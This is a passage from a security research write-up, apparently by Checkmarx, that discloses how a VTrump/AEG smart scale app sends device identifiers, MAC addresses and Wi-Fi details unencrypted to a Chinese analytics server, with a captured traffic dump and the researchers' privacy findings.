 2sid@@NDMDAFHLiH1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1509639637841+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0mid  2sid@@NDMDAFHLiH1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Pem 1509639669965+1pi"com.vtrump.smartscale.MainActivityso
 0mid  2sid@@NDMDAFHLiH1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1509639688223+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0mid  2sid@@NDMDAFHLiH1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Pem 1509639730975+1pi"com.vtrump.smartscale.MainActivityso
 0mid  1sid@@NDMDAF7Din1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=cm 30000st 1sv
   1.4.0.3.0ac portalav 1.2.4an Smart
Scaleak com.vtrump.smartscaleof 1cc PTcl ptlt 1509639766888+1ct UnknownMAC 02:00:00:00:00:00ur -60ut -1886MAC2 00:00:00:00:00:00ssid <unknown
ssid>em 232347um 232347mr 0mt 0tr 37216tt 37600bl  0,510mid
 2sid@@NDMDAF7Din1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1509639766878+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0mid  2sid@@NDMDAF7Din1fAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Pem 1509639830621+1pi"com.vtrump.smartscale.MainActivityso
 0mid  1sid@@NDMDAOHyMpFfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=cm 30000st 1sv
   1.4.0.3.0ac portalav 1.2.4an Smart
Scaleak com.vtrump.smartscaleof 1sf 1cc PTcl ptlt 1509969556322+1ct UnknownMAC 02:00:00:00:00:00ur -60ut -1886MAC2 00:00:00:00:00:00ssid <unknown
ssid>em 95844um 95844mr 0mt 0tr 37216tt 37600bl  0,500mid
 2sid@@NDMDAOHyMpFfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1509969558374+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0mid  2sid@@NDMDAOHyMpFfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Pem 1509969590073+1pi"com.vtrump.smartscale.MainActivityso
 0mid  2sid@@NDMDAOHyMpFfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1509969599371+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0mid  2sid@@NDMDAOHyMpFfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Pem 1509969609660+1pi"com.vtrump.smartscale.MainActivityso
 0mid  1sid@@NDMDAM7ERpFfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=cm 30000st 1sv
   1.4.0.3.0ac portalav 1.2.4an Smart
Scaleak com.vtrump.smartscaleof 1cc PTcl ptlt 1509970855130+1ct UnknownMAC 02:00:00:00:00:00ur -60ut -1886MAC2 00:00:00:00:00:00ssid <unknown
ssid>em 1393567um 331637mr 0mt 0tr 37216tt 37600bl  0,490mid
 2sid@@NDMDAM7ERpFfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1509970855118+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0mid  2sid@@NDMDAM7ERpFfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Pem 1509970894521+1pi"com.vtrump.smartscale.MainActivityso
 0mid  1sid@@NDMDAKE+hJFfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=cm 30000st 1sv
   1.4.0.3.0ac portalav 1.2.4an Smart
Scaleak com.vtrump.smartscaleof 1cc PTcl ptlt 1509974884006+1ct UnknownMAC 02:00:00:00:00:00ur -60ut -1886MAC2 00:00:00:00:00:00ssid <unknown
ssid>em 5422422um 401017mr 0mt 0tr 37216tt 37600bl  0,480mid
 1sid@@NDMDAO9Q8blfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=cm 30000st 1sv
   1.4.0.3.0ac portalav 1.2.4an Smart
Scaleak com.vtrump.smartscalesf 1cc PTcl ptlt 1510653120785+1apn
"REDACTED-2g"ct wifiMAC 02:00:00:00:00:00ur 1330ut -6MAC2 48:7b:6b:b5:12:94ssid
"REDACTED-2g"em 212844um 212845mr 0mt 0tr 14025847tt 432395bl
 0,980mid  2sid@@NDMDAO9Q8blfAQAAAU0wMjowMDowMDowMDowMDowMEkzNTM4OTYwODQ0MTM0NDY=et 0ei Rem 1510653121547+1pi"com.vtrump.smartscale.MainActivityso 0sl
 0

Here’s a more readable version of the data sent to the Chinese server:
MAC: 11:22:33:44:55:66
IMEI: REDACTED
IMEI2: REDACTED
Phone brand: SELECTLINE
Filesystem: /dev, /sys/fs/cgroup, /mnt, /system, /data, /cache, /productinfo, /sale, /storage, /storage/emulated, /storage/self
Phone functions: Light sensor, Accelerometer, Proximity sensor
Kernel: release2@ww-linuxf4 #1 SMP PREEMPT Tue Nov 15 11:09:41 CST
Wifi SSID: REDACTED-2g
Lotuseed is a mobile data analysis software platform based in China. This data is sent without https, meaning that the communications between the app and Chinese server are not encrypted. After we notified VTrump about our findings, they declined to make the changes we suggested. Later, however, we tested again and found that they “fixed” the app by adding encryption, however, they were still sending the same private information. I don’t believe that this type of information is necessary for a smart scale to collect, much less send to a third party for data analysis.

Smart Scale Fails at Security & Privacy

The Checkmarx Security Research Team advised AEG to launch a patch that fixes clients’ smart scales to prevent malicious users from damaging the hardware. We tried to contact AEG to determine if they sold the brand rights for this type of equipment to any Chinese company, but we didn’t get any response to that question. We also noticed during our research that a lot of clients have issues with the mobile applications, especially because of the bad reputation of the URL used by the app. Based on our research findings, we recommend that you do not use either the Android or iOS app. The permissions these apps require are beyond what is necessary for a smart scale, and the apps share private data insecurely with third-party clients.